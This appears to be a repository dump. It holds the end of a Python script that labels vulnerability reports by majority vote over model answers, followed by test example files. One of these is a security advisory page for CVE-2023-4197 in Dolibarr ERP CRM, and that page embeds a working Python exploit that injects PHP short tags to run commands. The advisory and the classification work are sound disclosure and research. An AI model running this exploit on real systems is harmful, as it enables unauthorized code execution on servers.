json_out_former3[\"vendor\"] in vender_list:\n                    json_out_former[\"vendor\"]=json_out_former3[\"vendor\"]\n            if json_out_former[\"vendor\"] != json_out_former2[\"vendor\"]:\n                if not json_out_former3:\n                    json_out_former3=former_once(result_string)\n                if json_out_former2[\"vendor\"] == json_out_former3[\"vendor\"]:\n                    json_out_former[\"vendor\"]=json_out_former2[\"vendor\"]\n            \n            vendor = json_out_former.get(\"vendor\", \"\").lower()\n            for a, b in vender_relations:\n                a_lower, b_lower = a.lower(), b.lower()\n                # 正向匹配：如果 vendor 是元组的第一个，且第二个出现在文本中\n                if vendor == a_lower and b_lower in result_string.lower():\n                    json_out_former[\"vendor\"] = b  # 修改为元组的第二个值\n                    break\n                elif vendor == b_lower and b_lower in result_string.lower():\n                    pass\n                # 反向匹配：如果 vendor 是元组的第二个，且第一个出现在文本中\n                elif vendor == b_lower and a_lower in result_string.lower():\n                    json_out_former[\"vendor\"] = a  # 修改为元组的第一个值\n                    break\n\n            if json_out_former[\"language\"] != json_out_former2[\"language\"]:\n                if not json_out_former3:\n                    json_out_former3=former_once(result_string)\n                if json_out_former2[\"language\"] == json_out_former3[\"language\"]:\n                    json_out_former[\"language\"]=json_out_former3[\"language\"]\n            for json in [json_out_former,json_out_former2]:\n                if json[\"trace_language\"]==\"C\":\n                    for sym in cpp_syms:\n                        if sym in result_string:\n                            json[\"trace_language\"]==\"C++\"\n                            break\n                elif json[\"trace_language\"]==\"C++\":\n                    find_sym=False\n                    for sym in cpp_syms:\n                        if sym in result_string:\n                            find_sym=True\n                            break\n                    if not find_sym:\n                        json[\"trace_language\"]==\"C\"\n            if json_out_former[\"trace_language\"] != json_out_former2[\"trace_language\"]:\n                if not json_out_former3:\n                    json_out_former3=former_once(result_string)\n                if json_out_former2[\"trace_language\"] == json_out_former3[\"trace_language\"]:\n                    json_out_former[\"trace_language\"]=json_out_former3[\"trace_language\"]\n            if json_out_former[\"is_cause\"] != json_out_former2[\"is_cause\"]:\n                if not json_out_former3:\n                    json_out_former3=former_once(result_string)\n                if json_out_former2[\"is_cause\"] == json_out_former3[\"is_cause\"]:\n                    json_out_former[\"is_cause\"]=json_out_former3[\"is_cause\"]\n            if json_out_former[\"cve\"] != json_out_former2[\"cve\"]:\n                if not json_out_former3:\n                    json_out_former3=former_once(result_string)\n                if json_out_former2[\"cve\"] == json_out_former3[\"cve\"]:\n                    json_out_former[\"cve\"]=json_out_former3[\"cve\"]\n            if json_out_former[\"function\"] != json_out_former2[\"function\"]:\n                if not json_out_former3:\n                    json_out_former3=former_once(result_string)\n                if json_out_former2[\"function\"] == json_out_former3[\"function\"]:\n                    json_out_former[\"function\"]=json_out_former3[\"function\"]\n            json_out_later=later_once(result_string)\n            json_out_later2=later_once(result_string)\n            json_out_later3=later_once(result_string)\n            json_out_later4=later_once(result_string)\n            \n            \n\n #vote\n            related_vote=0\n            if json_out_later['is_related'] == \"FALSE\":\n                related_vote+=1\n            if json_out_later2['is_related'] == \"FALSE\":\n                related_vote+=1\n            if json_out_later3['is_related'] == \"FALSE\":\n                related_vote+=1\n            if json_out_later4['is_related'] == \"FALSE\":\n                related_vote+=1\n                                \n\n            if json_out_later2['is_POC']==\"TRUE\" and json_out_later2[\"is_explain\"]==\"FALSE\":\n                json_out_later=json_out_later2\n            if json_out_later3['is_POC']==\"TRUE\" and json_out_later3[\"is_explain\"]==\"FALSE\":\n                json_out_later=json_out_later3\n            if json_out_later4['is_POC']==\"TRUE\" and json_out_later4[\"is_explain\"]==\"FALSE\":\n                json_out_later=json_out_later4\n            \n            if json_out_later['is_POC']==\"FALSE\" and json_out_later[\"is_explain\"]==\"TRUE\":\n                json_out_later[\"is_explain\"]==\"FALSE\"\n                    \n                    \n                    \n            if related_vote >= 2:\n                json_out_later['is_related'] = \"FALSE\"\n            else:\n                json_out_later['is_related'] = \"TRUE\"\n            sink_list = sink_str.split(';')\n            print(\"json\",json_out_former,json_out_later)\n            csv_row=[]\n            #output\n            if json_out_later['is_related']==\"FALSE\":\n                csv_row=[file,\"NULL\",\"NULL\",\"NULL\",\"NULL\",\"NULL\",\"NULL\",\"NULL\"]\n            else:\n                #csv_row.append(file)\n                csv_row.append(json_out_former[\"cve\"])\n                csv_row.append(json_out_former[\"vendor\"])\n                if json_out_former[\"trace_language\"] != \"NULL\" and json_out_former[\"trace_language\"] != json_out_former[\"language\"]:\n                    csv_row.append(json_out_former[\"trace_language\"])\n                else:\n                    csv_row.append(json_out_former[\"language\"])\n                csv_row.append(json_out_former[\"is_cause\"].upper())\n                if json_out_former[\"function\"] in sink_list and json_out_former[\"function\"] in result_string:\n                    csv_row.append(json_out_former[\"function\"])\n                else:\n                    csv_row.append(\"NULL\")\n                csv_row.append(json_out_later[\"is_POC\"].upper())\n                csv_row.append(json_out_later[\"is_explain\"].upper())\n\n                if json_out_former[\"cve\"]=='NULL' and json_out_former[\"vendor\"]=='NULL' and json_out_former[\"is_cause\"]=='FALSE' and json_out_later[\"is_POC\"]==\"FALSE\":\n                    csv_row=[file,\"NULL\",\"NULL\",\"NULL\",\"NULL\",\"NULL\",\"NULL\",\"NULL\"]\n            writer.writerow(csv_row)\n            fout.flush()\n        except Exception as e:\n            print(\"analysing file error\",e)\n    fout.close()\n\nif __name__ == '__main__':\n    vote_ask(data_dir, answer_dir)\n"
  },
  {
    "path": "task1_source_code/test_examples/200",
    "content": "\n"
  },
  {
    "path": "task1_source_code/test_examples/201",
    "content": "\r\n<!DOCTYPE html>\r\n<html lang=\"en\" dir=\"auto\">\r\n\r\n<head><meta charset=\"utf-8\">\r\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\r\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\r\n<meta name=\"robots\" content=\"index, follow\">\r\n<title>(CVE-2023-4197) Dolibarr ERP CRM (&lt;= 18.0.1) Improper Input Sanitization Authenticated RCE | STAR Labs</title>\r\n<meta name=\"keywords\" content=\"\">\r\n<meta name=\"description\" content=\"Summary:    Product Dolibarr ERP CRM     Vendor Dolibarr   Severity High   Affected Versions &lt;= 18.0.1   Tested Versions 17.0.1, 18.0.1   CVE Identifier CVE-2023-4197   CVE Description Improper input validation in Dolibarr ERP CRM &lt;= v18.0.1 fails to strip certain PHP code from user-supplied input when creating a Website, allowing an attacker to inject and evaluate arbitrary PHP code.\">\r\n<meta name=\"author\" content=\"Poh Jia Hao (@Chocologicall)\">\r\n<link rel=\"canonical\" href=\"https://starlabs.sg/advisories/23/23-4197/\">\r\n<link crossorigin=\"anonymous\" href=\"/assets/css/stylesheet.min.ec8da366ca2fb647537ccb7a8f6fa5b4e9cd3c7a0d3171dd2d3baad1e49c8bfc.css\" integrity=\"sha256-7I2jZsovtkdTfMt6j2&#43;ltOnNPHoNMXHdLTuq0eSci/w=\" rel=\"preload stylesheet\" as=\"style\">\r\n<script defer crossorigin=\"anonymous\" src=\"/assets/js/highlight.min.2840b7fccd34145847db71a290569594bdbdb00047097f75d6495d162f5d7dff.js\" integrity=\"sha256-KEC3/M00FFhH23GikFaVlL29sABHCX911kldFi9dff8=\"\r\n    onload=\"hljs.initHighlightingOnLoad();\"></script>\r\n<link rel=\"icon\" href=\"https://starlabs.sg/logo-white.png\">\r\n<link rel=\"icon\" type=\"image/png\" sizes=\"16x16\" href=\"https://starlabs.sg/logo-white.png\">\r\n<link rel=\"icon\" type=\"image/png\" sizes=\"32x32\" href=\"https://starlabs.sg/logo-white.png\">\r\n<link rel=\"apple-touch-icon\" href=\"https://starlabs.sg/logo-white.png\">\r\n<link rel=\"mask-icon\" href=\"https://starlabs.sg/logo-white.png\">\r\n<meta name=\"theme-color\" content=\"#2e2e33\">\r\n<meta name=\"msapplication-TileColor\" content=\"#2e2e33\">\r\n<noscript>\r\n    <style>\r\n        #theme-toggle,\r\n        .top-link {\r\n            display: none;\r\n        }\r\n\r\n    </style>\r\n</noscript>\r\n<script async src=\"https://www.googletagmanager.com/gtag/js?id=G-0F9M1FRFWQ\"></script>\r\n<script>\r\nvar doNotTrack = false;\r\nif (!doNotTrack) {\r\n\twindow.dataLayer = window.dataLayer || [];\r\n\tfunction gtag(){dataLayer.push(arguments);}\r\n\tgtag('js', new Date());\r\n\tgtag('config', 'G-0F9M1FRFWQ', { 'anonymize_ip': false });\r\n}\r\n</script>\r\n<meta property=\"og:title\" content=\"(CVE-2023-4197) Dolibarr ERP CRM (&lt;= 18.0.1) Improper Input Sanitization Authenticated RCE\" />\r\n<meta property=\"og:description\" content=\"Summary:    Product Dolibarr ERP CRM     Vendor Dolibarr   Severity High   Affected Versions &lt;= 18.0.1   Tested Versions 17.0.1, 18.0.1   CVE Identifier CVE-2023-4197   CVE Description Improper input validation in Dolibarr ERP CRM &lt;= v18.0.1 fails to strip certain PHP code from user-supplied input when creating a Website, allowing an attacker to inject and evaluate arbitrary PHP code.\" />\r\n<meta property=\"og:type\" content=\"article\" />\r\n<meta property=\"og:url\" content=\"https://starlabs.sg/advisories/23/23-4197/\" /><meta property=\"og:image\" content=\"https://starlabs.sg/logo-white.png\"/><meta property=\"article:section\" content=\"advisories\" />\r\n<meta property=\"article:published_time\" content=\"2023-10-11T00:00:00&#43;00:00\" />\r\n<meta property=\"article:modified_time\" content=\"2023-10-11T00:00:00&#43;00:00\" /><meta property=\"og:site_name\" content=\"STAR Labs\" />\r\n\r\n<meta name=\"twitter:card\" content=\"summary_large_image\"/>\r\n<meta name=\"twitter:image\" content=\"https://starlabs.sg/logo-white.png\"/>\r\n\r\n<meta name=\"twitter:title\" content=\"(CVE-2023-4197) Dolibarr ERP CRM (&lt;= 18.0.1) Improper Input Sanitization Authenticated RCE\"/>\r\n<meta name=\"twitter:description\" content=\"Summary:    Product Dolibarr ERP CRM     Vendor Dolibarr   Severity High   Affected Versions &lt;= 18.0.1   Tested Versions 17.0.1, 18.0.1   CVE Identifier CVE-2023-4197   CVE Description Improper input validation in Dolibarr ERP CRM &lt;= v18.0.1 fails to strip certain PHP code from user-supplied input when creating a Website, allowing an attacker to inject and evaluate arbitrary PHP code.\"/>\r\n\r\n\r\n<script type=\"application/ld+json\">\r\n{\r\n  \"@context\": \"https://schema.org\",\r\n  \"@type\": \"BreadcrumbList\",\r\n  \"itemListElement\": [\r\n    {\r\n      \"@type\": \"ListItem\",\r\n      \"position\":  1 ,\r\n      \"name\": \"Advisories\",\r\n      \"item\": \"https://starlabs.sg/advisories/\"\r\n    }, \r\n    {\r\n      \"@type\": \"ListItem\",\r\n      \"position\":  2 ,\r\n      \"name\": \"(CVE-2023-4197) Dolibarr ERP CRM (\\u003c= 18.0.1) Improper Input Sanitization Authenticated RCE\",\r\n      \"item\": \"https://starlabs.sg/advisories/23/23-4197/\"\r\n    }\r\n  ]\r\n}\r\n</script>\r\n<script type=\"application/ld+json\">\r\n{\r\n  \"@context\": \"https://schema.org\",\r\n  \"@type\": \"BlogPosting\",\r\n  \"headline\": \"(CVE-2023-4197) Dolibarr ERP CRM (\",\r\n  \"name\": \"(CVE-2023-4197) Dolibarr ERP CRM (\",\r\n  \"description\": \"Summary:    Product Dolibarr ERP CRM     Vendor Dolibarr   Severity High   Affected Versions \\u0026lt;= 18.0.1   Tested Versions 17.0.1, 18.0.1   CVE Identifier CVE-2023-4197   CVE Description Improper input validation in Dolibarr ERP CRM \\u0026lt;= v18.0.1 fails to strip certain PHP code from user-supplied input when creating a Website, allowing an attacker to inject and evaluate arbitrary PHP code.\",\r\n  \"keywords\": [\r\n    \r\n  ],\r\n  \"articleBody\": \"Summary:    Product Dolibarr ERP CRM     Vendor Dolibarr   Severity High   Affected Versions   Tested Versions 17.0.1, 18.0.1   CVE Identifier CVE-2023-4197   CVE Description Improper input validation in Dolibarr ERP CRM   CWE Classification(s) CWE-20: Improper Input Validation   CAPEC Classification(s) CAPEC-248 Command Injection CAPEC-153: Input Data Manipulation    CVSS3.1 Scoring System: Base Score: 7.5 (High)\\nVector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\\n   Metric Value     Attack Vector (AV) Network   Attack Complexity (AC) High   Privileges Required (PR) Low   User Interaction (UI) None   Scope (S) Unchanged   Confidentiality (C) High   Integrity (I) High   Availability (A) High    Product Overview: Dolibarr ERP CRM is a web-based software that provides management for the target organization’s activities, such as contacts, suppliers, invoices, orders, stocks, agenda, etc. It is an open-source software suite designed for small, medium or large companies, foundations and freelancers. Administrators can use the fine grained permissions manager to grant permissions to various users based on their operational requirements.\\nDolibarr ERP CRM operates as an all-in-one suite, which allows customizability based on the usage needs of the organization. It is highly modular as the administrators simply have to enable modules that they need and disable the ones they do not require. Almost every component is a module, which also means that Dolibarr ERP CRM is highly extensible in terms of features.\\nVulnerability Summary: Users can be granted privileges to add and modify pages in the websites module. Even though there are security settings to only allow HTML/JavaScript/CSS, this can be subverted. Existing checks being to detect PHP content from user-supplied input are insufficient as it only checks for  and , allowing usage of the  short tag for executing PHP code. As a result, an adversary is able to inject unsanitized PHP content into these web pages and achieve code execution via PHP.\\nVulnerability Details: There are two ways to exploit this vulnerability, one is to “import” content from a specified URL; the other is to edit an existing page.\\nThe vulnerable code can be found in the function dolKeepOnlyPhpCode(), inside the /core/lib/website.lib.php file. where no checking for the  tag is done. This function intended purpose is to extract the PHP code from the given string and return it to the caller. The caller would throw an error if this function returns a non-empty string since it indicates the presence of PHP code.\\n/core/lib/website.lib.php: php function dolKeepOnlyPhpCode($str) { $str = str_replace(', ', $str); $newstr = ''; // Split on each opening tag  //$parts = explode(' $parts = preg_split('/'.preg_quote(', '/').'/i', $str); if (!empty($parts)) { $i = 0; foreach ($parts as $part) { if ($i == 0) { // The first part is never php code  $i++; continue; } $newstr .= '; //split on closing tag  $partlings = explode('?', $part, 2); if (!empty($partlings)) { $newstr .= $partlings[0].'?'; } else { $newstr .= $part.'?'; } } } return $newstr; } This function takes in a single argument which is the string to sanitize. It first replaces all occurrences of  with  and subsequently all  tags are tokenized, and the string between the opening and optional closing tags are selected and returned to the caller.\\nIn order to achieve RCE, the adversary must first be authenticated with an account and the Website module must be enabled. Then, modify an existing web page to include the  tag where arbitrary PHP code can be executed. Command execution is achieved by using any of the PHP functions that executes system code (i.e. system()). After the web page is modified successfully, previewing the updated page would trigger the RCE:\\nExploit Conditions: This vulnerability can be exploited when the “Website” module is enabled, as well as having access to a low-privilege user account.\\nProof-of-Concept: We have tried our best to make the PoC as portable as possible. The following is a functional exploit written in Python3 that exploits this vulnerability to achieve remote command execution:\\n# Dolibarr ERP CRM (v18.0.1) Improper Input Sanitization Vulnerability (CVE-2023-4197) # Via: https://TARGET_HOST/website/index.php # Author: Poh Jia Hao (STAR Labs SG Pte. Ltd.) #!/usr/bin/env python3 import os import re import requests import sys import uuid requests.packages.urllib3.disable_warnings() s = requests.Session() def check_args(): global target, username, password, cmd print(\\\"\\\\n===== Dolibarr ERP CRM (v18.0.1) Improper Input Sanitization Vulnerability (CVE-2023-4197) =====\\\\n\\\") if len(sys.argv) != 5: print(\\\"[!] Please enter the required arguments like so: python3 {}https://TARGET_URL USERNAME PASSWORD CMD_TO_EXECUTE\\\".format(sys.argv[0])) sys.exit(1) target = sys.argv[1].strip(\\\"/\\\") username = sys.argv[2] password = sys.argv[3] cmd = sys.argv[4] def authenticate(): global s, csrf_token print(\\\"[+] Attempting to authenticate...\\\") # GET the CSRF token res = s.get(f\\\"{target}/\\\", verify=False) csrf_token = re.search(\\\"\\\\\\\"anti-csrf-newtoken\\\\\\\"content=\\\\\\\"(.+)\\\\\\\"\\\", res.text).group(1).strip() # Login data = { \\\"token\\\": csrf_token, \\\"username\\\": username, \\\"password\\\": password, \\\"actionlogin\\\": \\\"login\\\" } res = s.post(f\\\"{target}/\\\", data=data, verify=False) if \\\"Logout\\\" not in res.text: print(\\\"[!] Authentication failed! Are the credentials valid?\\\") sys.exit(1) else: print(\\\"[+] Authenticated successfully!\\\") def rce(): # Create web site print(\\\"[+] Attempting to create a website...\\\") website_name = uuid.uuid4().hex data = { \\\"WEBSITE_REF\\\": website_name, \\\"token\\\": csrf_token, \\\"action\\\": \\\"addsite\\\", \\\"WEBSITE_LANG\\\": \\\"en\\\", \\\"addcontainer\\\": \\\"create\\\" } res = s.post(f\\\"{target}/website/index.php\\\", data=data, verify=False) if f\\\"Website - {website_name}\\\" not in res.text: print(\\\"[!] Website creation failed!\\\") sys.exit(1) else: print(f\\\"[+] Created website name: \\\\\\\"{website_name}\\\\\\\"!\\\") # Create web page print(\\\"[+] Attempting to create a web page...\\\") webpage_name = uuid.uuid4().hex data = { \\\"website\\\": website_name, \\\"token\\\": csrf_token, \\\"action\\\": \\\"addcontainer\\\", \\\"WEBSITE_TYPE_CONTAINER\\\": \\\"page\\\", \\\"WEBSITE_TITLE\\\": \\\"x\\\", \\\"WEBSITE_PAGENAME\\\": webpage_name } res = s.post(f\\\"{target}/website/index.php\\\", data=data, verify=False) if f\\\"Contenair \\\\\\\\'{webpage_name}\\\\\\\\' added\\\" not in res.text: print(\\\"[!] Web page creation failed!\\\") sys.exit(1) else: print(f\\\"[+] Created web page name: \\\\\\\"{webpage_name}\\\\\\\"!\\\") # Modify created page print(\\\"[+] Attempting to modify the web page...\\\") webpage_id = re.search(f\\\"\\\\\\\"(.+)\\\\\\\".+{webpage_name}\\\", res.text).group(1).strip() data = { \\\"website\\\": website_name, \\\"WEBSITE_PAGENAME\\\": webpage_name, \\\"pageid\\\": webpage_id, \\\"token\\\": csrf_token, \\\"action\\\": \\\"updatemeta\\\", \\\"htmlheader\\\": f\\\"{cmd}'); ?\\\" } res = s.post(f\\\"{target}/website/index.php\\\", data=data, verify=False) if \\\"Saved\\\" not in res.text: print(\\\"[!] Web page modification failed!\\\") sys.exit(1) else: print(\\\"[+] Web page modified successfully!\\\") # Trigger RCE print(f\\\"[+] Triggering RCE now via: {target}/public/website/index.php?website={website_name}\\u0026pageref={webpage_name}\\\") res = s.get(f\\\"{target}/public/website/index.php?website={website_name}\\u0026pageref={webpage_name}\\\", verify=False) if res.status_code != 200: print(\\\"[!] Web page is not reachable!\\\") sys.exit(1) else: output = re.findall(\\\"block --\\\\n(.+)\\\", res.text, re.MULTILINE | re.DOTALL)[0].strip() print(f\\\"[+] RCE successful! Output of command:\\\\n\\\\n{output}\\\") def main(): check_args() authenticate() rce() if __name__ == \\\"__main__\\\": main() Suggested Mitigations: Update the Dolibarr installation to the latest version as shown from the official repository releases page.\\nDetection Guidance: It is possible to detect the exploitation of this vulnerability by checking the /document/ directory (default upload directory) to see if there are any .tpl files containing  tags, and further inspecting the code contained within.\\nCredits: Poh Jia Hao (@Chocologicall) of STAR Labs SG Pte. Ltd. (@starlabs_sg)\\nTimeline:  2023-09-04 Reported vulnerability to Dolibarr owner 2023-09-05 Dolibarr owner acknowledged vulnerability and pushed a patch commit. Also mentioned that it will be in the next release 2023-10-11 New version containing patch released 2023-11-01 Public Release  \",\r\n  \"wordCount\" : \"1125\",\r\n  \"inLanguage\": \"en\",\r\n  \"datePublished\": \"2023-10-11T00:00:00Z\",\r\n  \"dateModified\": \"2023-10-11T00:00:00Z\",\r\n  \"author\":{\r\n    \"@type\": \"Person\",\r\n    \"name\": \"Poh Jia Hao (@Chocologicall)\"\r\n  },\r\n  \"mainEntityOfPage\": {\r\n    \"@type\": \"WebPage\",\r\n    \"@id\": \"https://starlabs.sg/advisories/23/23-4197/\"\r\n  },\r\n  \"publisher\": {\r\n    \"@type\": \"Organization\",\r\n    \"name\": \"STAR Labs\",\r\n    \"logo\": {\r\n      \"@type\": \"ImageObject\",\r\n      \"url\": \"https://starlabs.sg/logo-white.png\"\r\n    }\r\n  }\r\n}\r\n</script>\r\n</head>\r\n\r\n<body class=\" dark\" id=\"top\">\r\n\r\n<header class=\"header\">\r\n    <nav class=\"nav\">\r\n        <div class=\"logo\">\r\n            <a href=\"https://starlabs.sg/\" accesskey=\"h\" title=\"  (Alt + H)\">\r\n                <img src=\"https://starlabs.sg/logo-white.png\" alt=\"logo\" aria-label=\"logo\"\r\n                    height=\"35\"> </a>\r\n            <span class=\"logo-switches\">\r\n            </span>\r\n        </div>\r\n        <ul id=\"menu\">\r\n            <li>\r\n                <a href=\"https://starlabs.sg/\" title=\"Home\">\r\n                    <span>Home</span>\r\n                </a>\r\n            </li>\r\n            <li>\r\n                <a href=\"https://starlabs.sg/about/\" title=\"About\">\r\n                    <span>About</span>\r\n                </a>\r\n            </li>\r\n            <li>\r\n                <a href=\"https://starlabs.sg/advisories/\" title=\"Advisories\">\r\n                    <span>Advisories</span>\r\n                </a>\r\n            </li>\r\n            <li>\r\n                <a href=\"https://starlabs.sg/blog/\" title=\"Blog\">\r\n                    <span>Blog</span>\r\n                </a>\r\n            </li>\r\n            <li>\r\n                <a href=\"https://starlabs.sg/achievements/\" title=\"Achievements\">\r\n                    <span>Achievements</span>\r\n                </a>\r\n            </li>\r\n            <li>\r\n                <a href=\"https://starlabs.sg/publications/\" title=\"Publications\">\r\n                    <span>Publications</span>\r\n                </a>\r\n            </li>\r\n            <li>\r\n                <a href=\"https://starlabs.sg/search/\" title=\"Search (Alt &#43; /)\" accesskey=/>\r\n                    <span>Search</span>\r\n                </a>\r\n            </li>\r\n        </ul>\r\n    </nav>\r\n</header>\r\n<main class=\"main\">\r\n\r\n<article class=\"post-single\">\r\n  <header class=\"post-header\">\r\n    <div class=\"breadcrumbs\"><a href=\"https://starlabs.sg/\">Home</a>&nbsp;»&nbsp;<a href=\"https://starlabs.sg/advisories/\">Advisories</a></div>\r\n    <h1 class=\"post-title\">\r\n      (CVE-2023-4197) Dolibarr ERP CRM (&lt;= 18.0.1) Improper Input Sanitization Authenticated RCE\r\n    </h1>\r\n    <div class=\"post-meta\"><span title='2023-10-11 00:00:00 +0000 UTC'>October 11, 2023</span>&nbsp;·&nbsp;6 min&nbsp;·&nbsp;Poh Jia Hao (@Chocologicall)\r\n\r\n</div>\r\n  </header> <div class=\"toc\">\r\n    <details >\r\n        <summary accesskey=\"c\" title=\"(Alt + C)\">\r\n            <span class=\"details\">Table of Contents</span>\r\n        </summary>\r\n\r\n        <div class=\"inner\"><ul>\r\n                <li>\r\n                    <a href=\"#summary\" aria-label=\"Summary:\">Summary:</a></li>\r\n                <li>\r\n                    <a href=\"#cvss31-scoring-system\" aria-label=\"CVSS3.1 Scoring System:\">CVSS3.1 Scoring System:</a></li>\r\n                <li>\r\n                    <a href=\"#product-overview\" aria-label=\"Product Overview:\">Product Overview:</a></li>\r\n                <li>\r\n                    <a href=\"#vulnerability-summary\" aria-label=\"Vulnerability Summary:\">Vulnerability Summary:</a></li>\r\n                <li>\r\n                    <a href=\"#vulnerability-details\" aria-label=\"Vulnerability Details:\">Vulnerability Details:</a></li>\r\n                <li>\r\n                    <a href=\"#exploit-conditions\" aria-label=\"Exploit Conditions:\">Exploit Conditions:</a></li>\r\n                <li>\r\n                    <a href=\"#proof-of-concept\" aria-label=\"Proof-of-Concept:\">Proof-of-Concept:</a></li>\r\n                <li>\r\n                    <a href=\"#suggested-mitigations\" aria-label=\"Suggested Mitigations:\">Suggested Mitigations:</a></li>\r\n                <li>\r\n                    <a href=\"#detection-guidance\" aria-label=\"Detection Guidance:\">Detection Guidance:</a></li>\r\n                <li>\r\n                    <a href=\"#credits\" aria-label=\"Credits:\">Credits:</a></li>\r\n                <li>\r\n                    <a href=\"#timeline\" aria-label=\"Timeline:\">Timeline:</a>\r\n                </li>\r\n            </ul>\r\n        </div>\r\n    </details>\r\n</div>\r\n\r\n  <div class=\"post-content\"><h2 id=\"summary\">Summary:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#summary\">#</a></h2>\r\n<table>\r\n<thead>\r\n<tr>\r\n<th><strong>Product</strong></th>\r\n<th>Dolibarr                  ERP CRM</th>\r\n</tr>\r\n</thead>\r\n<tbody>\r\n<tr>\r\n<td><strong>Vendor</strong></td>\r\n<td>Dolibarr</td>\r\n</tr>\r\n<tr>\r\n<td><strong>Severity</strong></td>\r\n<td>High</td>\r\n</tr>\r\n<tr>\r\n<td><strong>Affected Versions</strong></td>\r\n<td>&lt;= 18.0.1</td>\r\n</tr>\r\n<tr>\r\n<td><strong>Tested Versions</strong></td>\r\n<td>17.0.1, 18.0.1</td>\r\n</tr>\r\n<tr>\r\n<td><strong>CVE Identifier</strong></td>\r\n<td>CVE-2023-4197</td>\r\n</tr>\r\n<tr>\r\n<td><strong>CVE Description</strong></td>\r\n<td>Improper input validation in Dolibarr ERP CRM &lt;= v18.0.1 fails to strip certain PHP code from user-supplied input when creating a Website, allowing an attacker to inject and evaluate arbitrary PHP code.</td>\r\n</tr>\r\n<tr>\r\n<td><strong>CWE Classification(s)</strong></td>\r\n<td>CWE-20: Improper Input Validation</td>\r\n</tr>\r\n<tr>\r\n<td><strong>CAPEC Classification(s)</strong></td>\r\n<td>CAPEC-248 Command Injection <!-- raw HTML omitted --> CAPEC-153: Input Data Manipulation</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<h2 id=\"cvss31-scoring-system\">CVSS3.1 Scoring System:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#cvss31-scoring-system\">#</a></h2>\r\n<p><strong>Base Score:</strong> 7.5 (High)<br>\r\n<strong>Vector String:</strong> <code>CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</code></p>\r\n<table>\r\n<thead>\r\n<tr>\r\n<th><strong>Metric</strong></th>\r\n<th><strong>Value</strong></th>\r\n</tr>\r\n</thead>\r\n<tbody>\r\n<tr>\r\n<td><strong>Attack Vector (AV)</strong></td>\r\n<td>Network</td>\r\n</tr>\r\n<tr>\r\n<td><strong>Attack Complexity (AC)</strong></td>\r\n<td>High</td>\r\n</tr>\r\n<tr>\r\n<td><strong>Privileges Required (PR)</strong></td>\r\n<td>Low</td>\r\n</tr>\r\n<tr>\r\n<td><strong>User Interaction (UI)</strong></td>\r\n<td>None</td>\r\n</tr>\r\n<tr>\r\n<td><strong>Scope (S)</strong></td>\r\n<td>Unchanged</td>\r\n</tr>\r\n<tr>\r\n<td><strong>Confidentiality (C)</strong></td>\r\n<td>High</td>\r\n</tr>\r\n<tr>\r\n<td><strong>Integrity (I)</strong></td>\r\n<td>High</td>\r\n</tr>\r\n<tr>\r\n<td><strong>Availability (A)</strong></td>\r\n<td>High</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<h2 id=\"product-overview\">Product Overview:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#product-overview\">#</a></h2>\r\n<p>Dolibarr ERP CRM is a web-based software that provides management for the target organization’s activities, such as contacts, suppliers, invoices, orders, stocks, agenda, etc. It is an open-source software suite designed for small, medium or large companies, foundations and freelancers. Administrators can use the fine grained permissions manager to grant permissions to various users based on their operational requirements.</p>\r\n<p>Dolibarr ERP CRM operates as an all-in-one suite, which allows customizability based on the usage needs of the organization. It is highly modular as the administrators simply have to enable modules that they need and disable the ones they do not require. Almost every component is a module, which also means that Dolibarr ERP CRM is highly extensible in terms of features.</p>\r\n<h2 id=\"vulnerability-summary\">Vulnerability Summary:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#vulnerability-summary\">#</a></h2>\r\n<p>Users can be granted privileges to add and modify pages in the websites module. Even though there are security settings to only allow HTML/JavaScript/CSS, this can be subverted. Existing checks being to detect PHP content from user-supplied input are insufficient as it only checks for <code>&lt;?php</code> and <code>&lt;?=</code>, allowing usage of the <code>&lt;?</code> short tag for executing PHP code. As a result, an adversary is able to inject unsanitized PHP content into these web pages and achieve code execution via PHP.</p>\r\n<h2 id=\"vulnerability-details\">Vulnerability Details:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#vulnerability-details\">#</a></h2>\r\n<p>There are two ways to exploit this vulnerability, one is to &ldquo;import&rdquo; content from a specified URL; the other is to edit an existing page.</p>\r\n<p>The vulnerable code can be found in the function <code>dolKeepOnlyPhpCode()</code>, inside the <code>/core/lib/website.lib.php</code> file. where no checking for the <code>&lt;?</code> tag is done. This function intended purpose is to extract the PHP code from the given string and return it to the caller. The caller would throw an error if this function returns a non-empty string since it indicates the presence of PHP code.</p>\r\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-php\" data-lang=\"php\"><span class=\"line\"><span class=\"cl\"><span class=\"o\">/</span><span class=\"nx\">core</span><span class=\"o\">/</span><span class=\"nx\">lib</span><span class=\"o\">/</span><span class=\"nx\">website</span><span class=\"o\">.</span><span class=\"nx\">lib</span><span class=\"o\">.</span><span class=\"nx\">php</span><span class=\"o\">:</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"o\">&lt;?</span><span class=\"nx\">php</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"k\">function</span> <span class=\"nf\">dolKeepOnlyPhpCode</span><span class=\"p\">(</span><span class=\"nv\">$str</span><span class=\"p\">)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"p\">{</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"nv\">$str</span> <span class=\"o\">=</span> <span class=\"nx\">str_replace</span><span class=\"p\">(</span><span class=\"s1\">&#39;&lt;?=&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;&lt;?php&#39;</span><span class=\"p\">,</span> <span class=\"nv\">$str</span><span class=\"p\">);</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span class=\"nv\">$newstr</span> <span class=\"o\">=</span> <span class=\"s1\">&#39;&#39;</span><span class=\"p\">;</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\">    <span 